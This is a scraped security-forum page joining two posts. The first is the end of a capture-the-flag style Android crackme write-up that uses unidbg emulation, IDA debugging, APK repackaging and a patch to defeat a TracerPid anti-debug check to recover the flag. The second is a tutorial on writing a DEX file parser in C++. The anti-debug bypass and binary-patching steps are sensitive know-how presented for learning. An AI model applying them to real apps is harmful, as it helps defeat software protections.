\\"unidbg-android/src/test/java/com/yaotong/crackme/libcrackme.so\\" ), true); / / module module = dalvikModule.getModule(); / / 调用JNI——onload / / dalvikModule.callJNI_OnLoad(emulator); vm.callJNI_OnLoad(emulator, module); HookAddr(); } / * * * 打印 Hex Dump 格式的数据 * * @param data 要打印的字节数组 * / private static void printHexDump(byte[] data) { int bytesPerLine = 16 ; / / 每行打印 16 个字节 for ( int i = 0 ; i < data.length; i + = bytesPerLine) { / / 打印当前行的地址(偏移量) System.out.printf( \\"%08X \\" , i); / / 打印当前行的十六进制数据 for ( int j = 0 ; j < bytesPerLine; j + + ) { if (i + j < data.length) { System.out.printf( \\"%02X \\" , data[i + j]); } else { System.out. print ( \\" \\" ); / / 如果剩余字节不足 16 个,填充空格 } } System.out. print ( \\" |\\" ); / / 打印当前行的字符内容(ASCII) for ( int j = 0 ; j < bytesPerLine; j + + ) { if (i + j < data.length) { byte b = data[i + j]; if (b > = 32 && b < = 126 ) { System.out. print ((char) b); / / 打印可打印字符 } else { System.out. print ( \\".\\" ); / / 打印不可打印字符 } } else { System.out. print ( \\" \\" ); / / 填充空格 } } System.out.println( \\"|\\" ); } } public static void main(String[] args) { MainActivity test = new MainActivity(); System.out.println(test.getSName()); } public void HookAddr() { / / 目标地址,这里是示例地址 0x628C 0x4450 long targetAddress = module.base + 0x4450 ; / / 使用 UnidbgPointer 来获取目标地址的数据 UnidbgPointer pointer = UnidbgPointer.pointer(emulator, targetAddress); / / 读取目标地址的数据,假设它是一个字符串,长度为 16 字节 byte[] data = pointer.getByteArray( 0 , 16 ); / / 读取 16 个字节 printHexDump(data); / / 将读取的字节转换为字符串 / / 将读取的字节转换为字符串,并指定正确的编码(例如 UTF - 8 或 GBK) String value = new String(data, Charset.forName( \\"GBK\\" )); / / 使用 UTF - 8 编码 / / 打印地址和读取的内容 System.out.println( \\"Address: \\" + Long .toHexString(targetAddress)); System.out.println( \\"Data at address: \\" + value); } / / 符号调用 public Boolean getSName() { / / 创建一个vm对象 DvmObject<?> dvmObject = vm.resolveClass( \\"com/yaotong/crackme/MainActivity\\" ).newObject(null); String input = \\"123\\" ; / / byte[] inputByte = input .getBytes(StandardCharsets.UTF_8); boolean success = dvmObject.callJniMethodBoolean(emulator, \\"securityCheck(Ljava/lang/string;)Z\\" , input ); System.out.println( \\"[symble] Call the so md5 function result is ==> \\" + success); return success; } } |
执行验证结果如图所示:
通过模拟下调用(符号调用),在hook关键参数地址,运行后,获得的正确flag:aiyou,bucuoo,然后我们在输入flag 则显示true,成功!!!
如果不喜欢用frida IDA动态调试也是比较通用直接的,可以一步一步跟踪查看代码的运行逻辑。
\\n
在Module list窗口(Debugger->Debugger windows->Module list)中找到libcrackme.so,双击它,f5进入伪代码页面,在目标函数下断点,v6 = off_C0B0E28C;
按下F9,弹出错误警告。
从这一系列的操作我们可以发现,wojiushidaan 这个值,在APP运行后,被重新赋值了。在进行调试的时候报错,说明有反调试存在。
1.端口检测:调试器在进行远程调试时,会占用一些固定的端口号。IDA Pro可以通过读取/proc/net/tcp文件,查找远程调试所用的23946端口,若发现该端口被占用,则说明进程正在被IDA调试
2.关键文件检测:通过修改android_server文件的名称,防止调试器找到并连接该文件
3.进程ID检测:在没有调试时,TracerPid为0;运行调试时,TracerPid会变为调试器的进程ID。通过修改系统调用函数,伪造TracerPid为0,以欺骗调试器
4.Java层反调试:在AndroidManifest.xml中设置android:debuggable=\\"false\\",并在build.prop中设置ro.debuggable=0,防止应用在调试模式下运行。此外,可以通过检测Debug.isDebuggerConnected()方法的返回值来判断是否被调试
5.自我调试:父进程创建一个子进程,通过子进程调试父进程。这种方式消耗的系统资源较少,且能有效阻止其他进程调试受保护的进程。
我们要在so文件加载之前进行调试。这样就能判断程序大概检测位置,逐渐深入,定位问题的所在。
APK 重新打包成 debuuger 模式
1 2 3 4 5 6 7 8 9 10 | 1.apktool d - f app.apk - o app_source 2. 修改 AndroidManifest.xml,找到解包后的 AndroidManifest.xml 文件,确认以下内容: 检查 android:debuggable 属性是否设置为 true,如果没有则添加: <application android:debuggable = \\"true\\" ... > 如果已经有 android:debuggable 属性,直接改为 true。 3. 重新打包 APK apktool b app_source - o app_debuggable.apk 4. 签名新 APK 使用 keytool 生成调试密钥(如果没有现成的密钥): keytool - genkey - v - keystore debug.keystore - alias debug - keyalg RSA - keysize 2048 - validity 10000 签名 APK: jarsigner - verbose - keystore debug.keystore - storepass android - keypass android app_debuggable.apk debug |
adb shell am start -D -n com.yaotong.crackme/.MainActivity 以调试模式启动app,让程序停在加载so文件之前。
IDA设置如下:
连接jdb后,IDA运行绿色三角按钮,让程序把so文件加载出来。
1 2 3 | adb shell ps | findStr com.yaotong.crackme adb forward tcp: 8855 jdwp: 18518 jdb - connect com.sun.jdi.SocketAttach:hostname = 127.0 . 0.1 ,port = 8855 |
Ctrl+s 搜索进入我们的目标文件
进入JNI_Onload函数下断点进行调试
当前位置程序并没有奔溃,说明检测点还在后面,然后继续,跳到R7的时候报错了 那么检测点 位置找到了
把反调试的TracerPid 指令37 FF 2F E1 改为 00 00 00 00 就不会再有反调试的防护机制了
再进行正常调试。畅通无阻,顺利看到了off_D860B28C 的值 aiyou,bucuoo
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
\\n近期学习DEX文件结构为学习APP加壳脱壳打基础,自实现了一个简易的DEX解析器加深理解
\\nDEX文件结构整体看不复杂,深究时发现DexCLassDef结构非常复杂,编码的数据结构,嵌套和指向关系
\\n本文作为近期学习的一个阶段总结以及知识分享,后期再完善Todo部分
\\n由于本人水平有限,文章错漏之处还望大佬批评指正
\\n环境&工具:
\\n010editor 15.0.1 (13.0.1有bug,打开大文件分析时容易崩溃)
\\nClion 2024.2.3
\\nJDK 11.0.23
\\nMinGW 14.2.0
\\nAndroid Studio
\\n自行编译dex文件供后续分析
\\n1 2 3 4 5 | public class HelloDEX{ public static void main(String[] args){ System.out.println( \\"Hello Dex!\\" ); } } |
javac HelloDEX.java\\nd8 HelloDEX.class\\n\\n
可能遇到报错如下,这是因为d8需要java11+的环境,不支持java8
\\n1 2 | Error: A JNI error has occurred, please check your installation and try again Exception in thread \\"main\\" java.lang.UnsupportedClassVersionError: com / android / tools / r8 / D8 has been compiled by a more recent version of the Java Runtime ( class file version 55.0 ), this version of the Java Runtime only recognizes class file versions up to 52.0 |
Android源码 http://androidxref.com/2.3.7/xref/dalvik/libdex/DexFile.h 定义了dex文件用到的数据结构
\\n自定义类型 | \\n原类型 | \\n含义 | \\n
---|---|---|
s1 | \\nint8_t | \\n有符号单字节 | \\n
u1 | \\nuint8_t | \\n无符号单字节 | \\n
s2 | \\nint16_t | \\n\\n |
u2 | \\nuint16_t | \\n\\n |
s4 | \\nint32_t | \\n\\n |
u4 | \\nuint32_t | \\n\\n |
s8 | \\nint64_t | \\n\\n |
u8 | \\nuint64_t | \\n\\n |
sleb128 | \\n无 | \\n有符号LEB128,可变长度 | \\n
uleb128 | \\n无 | \\n无符号LEB128,可变长度 | \\n
uleb128p1 | \\n无 | \\n等于ULEB128加1,可变长度 | \\n
sleb128、uleb128、uleb128p1是Dex文件中特有的LEB128类型.在下述Android源码位置可以找到LEB128的实现.http://androidxref.com/2.3.7/xref/dalvik/libdex/Leb128.h
\\n每个LEB128由1-5字节组成,所有字节组合在一起表示一个32位的数据, 每个字节只有低7位为有效位,最高位标识是否需要使用额外字节
\\n如果第1个字节的最高位为1,表示LEB128需要使用第2个字节,如果第2个字节的最高位为1,表示会使用第3个字节,依次类推,直到最后一个字节的最高位为0
\\nuleb128读取代码如下
\\n值得注意的是参数为二级指针,也就是说,调用该函数时会移动一级指针,一级指针的偏移量即为读取到的uleb128的大小
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | int readUnsignedLeb128( const u1** pStream) { const u1* ptr = *pStream; int result = *(ptr++); if (result > 0x7f) { int cur = *(ptr++); result = (result & 0x7f) | ((cur & 0x7f) << 7); if (cur > 0x7f) { cur = *(ptr++); result |= (cur & 0x7f) << 14; if (cur > 0x7f) { cur = *(ptr++); result |= (cur & 0x7f) << 21; if (cur > 0x7f) { /* * Note: We don\'t check to see if cur is out of * range here, meaning we tolerate garbage in the * high four-order bits. */ cur = *(ptr++); result |= cur << 28; } } } } *pStream = ptr; return result; } |
为方便使用自定义了myReadUnsignedLeb128函数,参数为一级指针,返回读取的数据及其大小
\\n1 2 3 4 5 6 7 8 | // 传入指针直接读取数据并返回数据和读取的大小(可选) int myReadUnsignedLeb128( const u1* pData, size_t * readSize) { const u1** pStream = &pData; u4 result=readUnsignedLeb128(pStream); if (readSize) *readSize=unsignedLeb128Size(result); return result; } |
参考Android官方文档https://source.android.com/docs/core/dalvik/dex-format?hl=zh-cn#encoding
\\n解析代码参考以下文档,只找到了java代码
\\nhttp://androidxref.com/2.3.7/xref/cts/tools/dex-tools/src/dex/reader/DexEncodedValueImpl.java
\\nhttp://androidxref.com/2.3.7/xref/dalvik/dx/src/com/android/dx/dex/file/ValueEncoder.java
\\n解析DexClassDef结构时,Annotation的annotation_element和encoded_array_item会使用该编码
\\n编码格式如下,1字节的头用于指定value格式和大小,后续紧跟数据,需要根据类型解析
\\n名称 | \\n格式 | \\n说明 | \\n
---|---|---|
(value_arg << 5) | value_type | \\nubyte | \\n高3位为value_arg的值,低5位为value_type的值,value_type指定value的格式。 | \\n
value | \\nubyte[] | \\n用于表示值的字节,不同 value_type 字节的长度不同且采用不同的解译方式;不过一律采用小端字节序。 | \\n
value_type枚举定义如下
\\n类型名称 | \\nvalue_type | \\nvalue_arg | \\nvalue格式 | \\n说明 | \\n
---|---|---|---|---|
VALUE_BYTE | \\n0x00 | \\n(无;必须为 0 ) | \\nubyte[1] | \\n有符号的单字节整数值 | \\n
VALUE_SHORT | \\n0x02 | \\nsize - 1 (0…1) | \\nubyte[size] | \\n有符号的双字节整数值,符号扩展 | \\n
VALUE_CHAR | \\n0x03 | \\nsize - 1 (0…1) | \\nubyte[size] | \\n无符号的双字节整数值,零扩展 | \\n
VALUE_INT | \\n0x04 | \\nsize - 1 (0…3) | \\nubyte[size] | \\n有符号的四字节整数值,符号扩展 | \\n
VALUE_LONG | \\n0x06 | \\nsize - 1 (0…7) | \\nubyte[size] | \\n有符号的八字节整数值,符号扩展 | \\n
VALUE_FLOAT | \\n0x10 | \\nsize - 1 (0…3) | \\nubyte[size] | \\n四字节位模式,向右零扩展,系统会将其解译为 IEEE754 32 位浮点值 | \\n
VALUE_DOUBLE | \\n0x11 | \\nsize - 1 (0…7) | \\nubyte[size] | \\n八字节位模式,向右零扩展,系统会将其解译为 IEEE754 64 位浮点值 | \\n
VALUE_METHOD_TYPE | \\n0x15 | \\nsize - 1 (0…3) | \\nubyte[size] | \\n无符号(零扩展)四字节整数值,会被解译为要编入 proto_ids 区段的索引;表示方法类型值 | \\n
VALUE_METHOD_HANDLE | \\n0x16 | \\nsize - 1 (0…3) | \\nubyte[size] | \\n无符号(零扩展)四字节整数值,会被解译为要编入 method_handles 区段的索引;表示方法句柄值 | \\n
VALUE_STRING | \\n0x17 | \\nsize - 1 (0…3) | \\nubyte[size] | \\n无符号(零扩展)四字节整数值,会被解译为要编入 string_ids 区段的索引;表示字符串值 | \\n
VALUE_TYPE | \\n0x18 | \\nsize - 1 (0…3) | \\nubyte[size] | \\n无符号(零扩展)四字节整数值,会被解译为要编入 type_ids 区段的索引;表示反射类型/类值 | \\n
VALUE_FIELD | \\n0x19 | \\nsize - 1 (0…3) | \\nubyte[size] | \\n无符号(零扩展)四字节整数值,会被解译为要编入 field_ids 区段的索引;表示反射字段值 | \\n
VALUE_METHOD | \\n0x1a | \\nsize - 1 (0…3) | \\nubyte[size] | \\n无符号(零扩展)四字节整数值,会被解译为要编入 method_ids 区段的索引;表示反射方法值 | \\n
VALUE_ENUM | \\n0x1b | \\nsize - 1 (0…3) | \\nubyte[size] | \\n无符号(零扩展)四字节整数值,会被解译为要编入 field_ids 区段的索引;表示枚举类型常量的值 | \\n
VALUE_ARRAY | \\n0x1c | \\n(无;必须为 0 ) | \\nencoded_array | \\n值的数组,采用下文“encoded_array 格式”所指定的格式。value 的大小隐含在编码中。 | \\n
VALUE_ANNOTATION | \\n0x1d | \\n(无;必须为 0 ) | \\nencoded_annotation | \\n子注解,采用下文“encoded_annotation 格式”所指定的格式。value 的大小隐含在编码中。 | \\n
VALUE_NULL | \\n0x1e | \\n(无;必须为 0 ) | \\n(无) | \\nnull 引用值 | \\n
VALUE_BOOLEAN | \\n0x1f | \\n布尔值 (0…1) | \\n(无) | \\n一位值;0 表示 false ,1 表示 true 。该位在 value_arg 中表示。 | \\n
解析代码如下(该函数在解析DexClassDef的Annotation时才会使用,可先忽略)
\\nparseEncodedValue函数会自动读取单个encoded_value并返回解析后的字符串(类型:值 的键值对形式)以及value占用的真实字节数
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 | // 读取EncodedValue, 由于大小不固定, 故直接以数组赋值形式取值 void DexFile::getEncodedValue(ubyte* pDest, const ubyte* pValue, int size) { for ( int i=0;i<size;i++) { pDest[i]=pValue[i]; } } // 解析EncodedValue, 返回解析后的字符串以及value真实大小 Todo: 完善解析逻辑,剩余3个分支 std::string DexFile::parseEncodedValue(ubyte* pEncodedValue, size_t & valueRealSize) { ubyte valueArg = GetValueArg(pEncodedValue[0]); // arg=size-1,值占用的字节数<=对应类型大小,不含头部的单字节 ubyte valueType = GetValueType(pEncodedValue[0]); // 假如int=0时,占2字节,头1字节,值0占1字节,所以要同时判断arg和type if (valueArg==0) { //arg==0时,要确定是arg固定为0的特殊类型还是其他类型 //特殊类型只有1字节头,其他类型是1字节头+1字节数据 bool isSpecialType= false ; switch (valueType) { case VALUE_BYTE: case VALUE_ARRAY: case VALUE_ANNOTATION: case VALUE_NULL: case VALUE_BOOLEAN: isSpecialType= true ; break ; } if (isSpecialType) valueRealSize=1; else valueRealSize=2; } else valueRealSize=valueArg+2; // 头部1字节+实际大小 size=head+arg+1 int readValueSize=valueArg+1; // 需要读取的字节数 ubyte* pValue=&pEncodedValue[1]; std::string result; unsigned int index=0; switch (valueType) { // 有符号单字节 case VALUE_BYTE: { char byte=0; getEncodedValue((ubyte*)&byte,pValue,readValueSize); result= \\"byte:\\" +std::format( \\"0x{:x}\\" ,byte); break ; } // 有符号双字节 case VALUE_SHORT: { short value_short=0; getEncodedValue((ubyte*)&value_short,pValue,readValueSize); result= \\"short:\\" +std::format( \\"0x{:x}\\" ,value_short); break ; } // 无符号双字节 case VALUE_CHAR: { unsigned short value_char=0; getEncodedValue((ubyte*)&value_char,pValue,readValueSize); result= \\"char:\\" +std::format( \\"0x{:x}\\" ,value_char); break ; } // 有符号4字节 case VALUE_INT: { int value_int=0; getEncodedValue((ubyte*)&value_int,pValue,readValueSize); result= \\"int:\\" +std::format( \\"0x{:x}\\" ,value_int); break ; } // 有符号8字节 case VALUE_LONG: { long long value_long=0; getEncodedValue((ubyte*)&value_long,pValue,readValueSize); result= \\"long:\\" +std::format( \\"0x{:x}\\" ,value_long); break ; } // 4字节浮点 case VALUE_FLOAT: { float value_float=0; getEncodedValue((ubyte*)&value_float,pValue,readValueSize); result= \\"float:\\" +std::format( \\"{:f}\\" ,value_float); break ; } // 8字节浮点 case VALUE_DOUBLE: { double value_double=0; getEncodedValue((ubyte*)&value_double,pValue,readValueSize); result= \\"double:\\" +std::format( \\"{:f}\\" ,value_double); break ; } // 无符号4字节索引 指向对应结构 case VALUE_METHOD_TYPE: { // ProtoId getEncodedValue((ubyte*)&index,pValue,readValueSize); result= \\"MethodType:\\" +std::format( \\"0x{:x}\\" ,index)+ \\" \\" +getProtoIdDataByIndex(index); break ; } // todo: 这部分没有定义的成员指向,暂时不知如何解析,参考 https://source.android.com/docs/core/runtime/dex-format?hl=zh-cn#method-handle-item case VALUE_METHOD_HANDLE: { // MethodHandles getEncodedValue((ubyte*)&index,pValue,readValueSize); result= \\"MethodHandle Index:\\" +std::format( \\"0x{:x}\\" ,index); break ; } case VALUE_STRING: { // StringId getEncodedValue((ubyte*)&index,pValue,readValueSize); result= \\"String:\\" +getStringIdDataByIndex(index); break ; } case VALUE_TYPE: { // TypeId getEncodedValue((ubyte*)&index,pValue,readValueSize); result= \\"Type:\\" +parseString(getTypeIdDataByIndex(index)); break ; } case VALUE_FIELD: { // FieldId getEncodedValue((ubyte*)&index,pValue,readValueSize); result= \\"Field:\\" +parseString(getFieldIdDataByIndex(index)); break ; } case VALUE_METHOD: { // MethodId getEncodedValue((ubyte*)&index,pValue,readValueSize); result= \\"Method:\\" +parseString(getMethodIdDataByIndex(index)); break ; } case VALUE_ENUM: { // FieldId getEncodedValue((ubyte*)&index,pValue,readValueSize); result= \\"Enum:\\" +parseString(getFieldIdDataByIndex(index)); break ; } // todo encoded_array和encoded_annotation结构,不太容易解析 case VALUE_ARRAY: { //getEncodedValue((ubyte*)&index,pValue,readValueSize); // DexEncodedArray encodedArray;//直接解析貌似不正确 // getEncodedValue((ubyte*)&encodedArray,pValue,readValueSize); // printClassDefStaticValues(encodedArray); // int sizeLen=0; // u4 size=myReadUnsignedLeb128(pValue,&sizeLen); // u1* pValues=pValue+sizeLen; // printf(\\"EncodedArray contains %d values\\\\n\\",size); // unsigned int offset=0;// offset保存前方已访问的结构大小 // for(int i=0;i<size;i++) { // printf(\\"%s\\\\n\\",parseEncodedValue(pValues+offset,offset).c_str()); // } //system(\\"pause\\"); break ; } case VALUE_ANNOTATION: result= \\"Todo......\\" ; break ; case VALUE_NULL: result= \\"null\\" ; break ; // boolean的值存在value_arg中 case VALUE_BOOLEAN: result= \\"bool:\\" ; if (valueArg) result+= \\"true\\" ; else result+= \\"false\\" ; break ; default : result= \\"Unknown value type\\" ; } return result; } |
名称 | \\n格式 | \\n说明 | \\n
---|---|---|
size | \\nuleb128 | \\n数组中的元素数量 | \\n
values | \\nencoded_value[size] | \\n采用本部分所指定格式的一系列 size encoded_value 字节序列;依序串联。 | \\n
由于encoded_array.values数组元素为encoded_value,所以每个元素的大小不固定,不能当作一般的数组解析
\\n该类型主要在DexClassDef的Annotations部分使用,此处仅做介绍
\\n名称 | \\n格式 | \\n说明 | \\n
---|---|---|
type_idx | \\nuleb128 | \\n注释的类型。这种类型必须是“类”(而非“数组”或“基元”)。 | \\n
size | \\nuleb128 | \\n此注解中 name-value 映射的数量 | \\n
elements | \\nannotation_element[size] | \\n注解的元素,直接以内嵌形式(不作为偏移量)表示。元素必须按 string_id 索引以升序进行排序。 | \\n
名称 | \\n格式 | \\n说明 | \\n
---|---|---|
name_idx | \\nuleb128 | \\n元素名称,表示为要编入 string_ids 区段的索引。该字符串必须符合上文定义的 MemberName 的语法。 | \\n
value | \\nencoded_value | \\n元素值 | \\n
dex文件整体结构分为: dex文件头, 索引结构区, data数据区, 示意图如下:
\\ndex文件头
\\n保存了dex文件的基本信息, 例如文件大小,dex头大小,大小端序,索引表的起始地址和大小等
\\n索引结构区
\\n这部分保存了字符串表,类型表,方法原型表,域表,方法表等结构
\\n根据这些表和索引可以访问到对应数据
\\ndata数据区
\\n所有的代码和数据存放在该区域
\\ndex文件结构体的定义在Android源码目录/dalvik/libdex/DexFile.h中可以找到,其中定义的dex文件结构体如下:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | struct DexFile { /* directly-mapped \\"opt\\" header */ const DexOptHeader* pOptHeader; /* pointers to directly-mapped structs and arrays in base DEX */ const DexHeader* pHeader; const DexStringId* pStringIds; const DexTypeId* pTypeIds; const DexFieldId* pFieldIds; const DexMethodId* pMethodIds; const DexProtoId* pProtoIds; const DexClassDef* pClassDefs; const DexLink* pLinkData; /* * These are mapped out of the \\"auxillary\\" section, and may not be * included in the file. */ const DexClassLookup* pClassLookup; const void * pRegisterMapPool; // RegisterMapClassPool /* points to start of DEX file data */ const u1* baseAddr; /* track memory overhead for auxillary structures */ int overhead; /* additional app-specific data structures associated with the DEX */ //void* auxData; }; |
为方便使用仅保留部分字段,编写相关函数如下
\\n通过字节buffer或文件路径创建DexFile类并初始化各个字段
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | class DexFile { u1* baseAddr{nullptr}; DexHeader* pHeader{nullptr}; DexStringId* pStringIds{nullptr}; DexTypeId* pTypeIds{nullptr}; DexFieldId* pFieldIds{nullptr}; DexMethodId* pMethodIds{nullptr}; DexProtoId* pProtoIds{nullptr}; DexClassDef* pClassDefs{nullptr}; void initFields(unsigned char *buffer); } // Init functions void DexFile::initFields(unsigned char * buffer) { if (buffer==nullptr) { printf ( \\"Null pointer provided!\\\\n\\" ); exit (0); } baseAddr=buffer; pHeader=(DexHeader*)baseAddr; pStringIds=(DexStringId*)(baseAddr+pHeader->stringIdsOff); pTypeIds=(DexTypeId*)(baseAddr+pHeader->typeIdsOff); pFieldIds=(DexFieldId*)(baseAddr+pHeader->fieldIdsOff); pMethodIds=(DexMethodId*)(baseAddr+pHeader->methodIdsOff); pProtoIds=(DexProtoId*)(baseAddr+pHeader->protoIdsOff); pClassDefs=(DexClassDef*)(baseAddr+pHeader->classDefsOff); } DexFile::DexFile(unsigned char *buffer) { initFields(buffer); } DexFile::DexFile(std::string filePath) { size_t fileLength=0; initFields(readFileToBytes(filePath, fileLength)); } DexFile::~DexFile() { delete baseAddr; } |
DexHeader定义如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | typedef struct DexHeader { u1 magic[8]; //Dex版本号 dex.035 .035即为版本号 u4 checksum; //adler32检验,如果修改了Dex文件,需要修正这个值,否则会运行不起来 u1 signature[kSHA1DigestLen]; //SHA-1值,Android不检测该值,但如果修改了Dex文件,最好修复该值,再修checksum u4 fileSize; //整个dex文件的大小 u4 headerSize; //DexHeader结构的大小,固定为0x70 u4 endianTag; //字节序标记,若该字段按小端方式读出来为0x12345678,则整个Dex文件就是小端方式.如果按大端方式读出来为0x12345678,那整个Dex文件就是大端方式 u4 linkSize; //链接段大小 u4 linkOff; //链接段偏移 u4 mapOff; //DexMapList文件偏移 u4 stringIdsSize; //DexStringId个数 u4 stringIdsOff; //DexStringId文件偏移 u4 typeIdsSize; //DexTypeId个数 u4 typeIdsOff; //DexTypeId文件偏移 u4 protoIdsSize; //DexProtoId个数 u4 protoIdsOff; //DexProtoId文件偏移 u4 fieldIdsSize; //DexFieldId个数 u4 fieldIdsOff; //DexFieldId文件偏移 u4 methodIdsSize; //DexMethodId个数 u4 methodIdsOff; //DexMethodId文件偏移 u4 classDefsSize; //DexClassDef个数 u4 classDefsOff; //DexClassDef文件偏移 u4 dataSize; //数据段大小 u4 dataOff; //数据段文件偏移 } DexHeader; |
打印DexHeader
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | void DexFile::printDexHeader() { printf ( \\"DexHeader:\\\\n\\" ); printf ( \\"\\\\tmagic: \\" );printHexBytes(pHeader->magic, sizeof (pHeader->magic)); printf ( \\"\\\\n\\" ); printf ( \\"\\\\tchecksum: %#x\\\\n\\" ,pHeader->checksum); printf ( \\"\\\\tsignature: \\" );printHexBytes(pHeader->signature,kSHA1DigestLen); printf ( \\"\\\\n\\" ); printf ( \\"\\\\tFileSize: %#x\\\\n\\" ,pHeader->fileSize); printf ( \\"\\\\tHeaderSize: %#x\\\\n\\" ,pHeader->headerSize); printf ( \\"\\\\tEndianTag: %#x\\\\n\\" ,pHeader->endianTag); printf ( \\"\\\\tLinkOff: %#x\\\\n\\" ,pHeader->linkOff); printf ( \\"\\\\tLinkSize: %#x\\\\n\\" ,pHeader->linkSize); printf ( \\"\\\\tMapOff: %#x\\\\n\\" ,pHeader->mapOff); printf ( \\"\\\\tStringIDs Offset: %#x\\\\n\\" ,pHeader->stringIdsOff); printf ( \\"\\\\tNum of StringIDs: %#x\\\\n\\" ,pHeader->stringIdsSize); printf ( \\"\\\\tTypeIDs Offset: %#x\\\\n\\" ,pHeader->typeIdsOff); printf ( \\"\\\\tNum of TypeIDs: %#x\\\\n\\" ,pHeader->typeIdsSize); printf ( \\"\\\\tProtoIDs Offset: %#x\\\\n\\" ,pHeader->protoIdsOff); printf ( \\"\\\\tNum of ProtoIDs: %#x\\\\n\\" ,pHeader->protoIdsSize); printf ( \\"\\\\tFieldIDs Offset: %#x\\\\n\\" ,pHeader->fieldIdsOff); printf ( \\"\\\\tNum of FieldIDs: %#x\\\\n\\" ,pHeader->fieldIdsSize); printf ( \\"\\\\tMethodIDs Offset: %#x\\\\n\\" ,pHeader->methodIdsOff); printf ( \\"\\\\tNum of MethodIDs: %#x\\\\n\\" ,pHeader->methodIdsSize); printf ( \\"\\\\tClassDefs Offset: %#x\\\\n\\" ,pHeader->classDefsOff); printf ( \\"\\\\tNum of ClassDefs: %#x\\\\n\\" ,pHeader->classDefsSize); printf ( \\"\\\\tData Offset: %#x\\\\n\\" ,pHeader->dataOff); printf ( \\"\\\\tSize of Data: %#x\\\\n\\" ,pHeader->dataSize); printf ( \\"DexHeader End\\\\n\\" ); } |
效果如下
\\n定义如下
\\n1 2 3 4 5 6 7 8 9 | struct DexStringId { u4 stringDataOff; /* 字符串的文件偏移量 */ }; //伪结构表示如下: struct string_data_item { uleb128 utf16_size; //字符串长度 ubyte[] data; //字符串数据 } |
注意dex文件的字符串采用MUTF-8编码,与UTF-8区别如下:
\\nMUTF-8字符串头部保存的是字符串长度,是uleb128类型
\\n相关函数定义如下,解析StringId
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | // StringId functions // 通过索引获取对应StringId DexStringId DexFile::getStringIdByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->stringIdsSize-1)) { return pStringIds[index]; } printf ( \\"No such index: %x\\\\n\\" ,index); exit (0); } // 解析StringId 获取字符串长度 size_t DexFile::getStringDataLength(DexStringId& stringId) { const u1* ptr = baseAddr + stringId.stringDataOff; size_t size=0; myReadUnsignedLeb128(ptr,&size); return size; } // 解析StringId 获取字符串 std::string DexFile::getStringIdData( const DexStringId& stringId) { const u1* ptr = baseAddr + stringId.stringDataOff; while (*(ptr++) > 0x7f); // Skip the uleb128 length. return ( char *)ptr; } // 通过索引获取StringId的字符串 std::string DexFile::getStringIdDataByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->stringIdsSize-1)) { return getStringIdData(pStringIds[index]); } return nullptr; } |
打印所有StringId,没有做MUTF编码处理,直接打印ASCII字符串
\\n1 2 3 4 5 6 7 8 | void DexFile::printStringIds() { printf ( \\"StringIds:\\\\n\\" ); printf ( \\"\\\\tNums\\\\t\\\\tStrings\\\\n\\" ); for ( int i=0;i<pHeader->stringIdsSize;i++) { printf ( \\"\\\\t%08x\\\\t%s\\\\n\\" ,i,getStringIdDataByIndex(i).c_str()); } printf ( \\"StringIds End\\\\n\\" ); } |
效果如下,没有做编码处理故可能出现乱码
\\n定义如下
\\n1 2 3 | typedef struct DexTypeId { u4 descriptorIdx; //指向DexStringId列表的索引 } DexTypeId; |
descriptorIdx为DexStringID表的索引,对应字符串表示类的类型
\\n例如此处DexTypeID[3].descriptorIdx=6, 而DexStringID[6]对应的字符串为\\"Ljava/lang/String;\\"
\\n和StringId类似,TypeId的解析代码如下,通过索引获取StringId及其对应的字符串
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | // TypeId functions // 通过索引获取对应TypeId DexTypeId DexFile::getTypeIdByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->typeIdsSize-1)) { return pTypeIds[index]; } printf ( \\"No such index: %x\\\\n\\" ,index); exit (0); } // 通过索引获取TypeId对应的字符串 std::string DexFile::getTypeIdDataByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->typeIdsSize-1)) { return getStringIdDataByIndex(pTypeIds[index].descriptorIdx); } return nullptr; } |
打印所有TypeId
\\n1 2 3 4 5 6 7 8 | void DexFile::printTypeIds() { printf ( \\"TypeIds:\\\\n\\" ); printf ( \\"\\\\tNums\\\\t\\\\tTypeIds\\\\n\\" ); for ( int i=0;i<pHeader->typeIdsSize;i++) { printf ( \\"\\\\t%08x\\\\t%s\\\\n\\" ,i,getTypeIdDataByIndex(i).c_str()); } printf ( \\"TypeIds End\\\\n\\" ); } |
效果如下
\\nDexProtoId是**方法声明(方法签名)**的结构体,保存方法(函数)的返回值类型和参数类型列表,没有函数名,定义如下
\\n1 2 3 4 5 | typedef struct DexProtoId { u4 shortyIdx; //方法声明字符串,指向DexStringId列表的索引 u4 returnTypeIdx; //方法返回类型字符串,指向DexTypeId列表的索引 u4 parametersOff; //方法的参数列表,指向DexTypeList列表的索引 } DexProtoId; |
parametersOff是DexTypeList的文件偏移
\\n结构定义如下
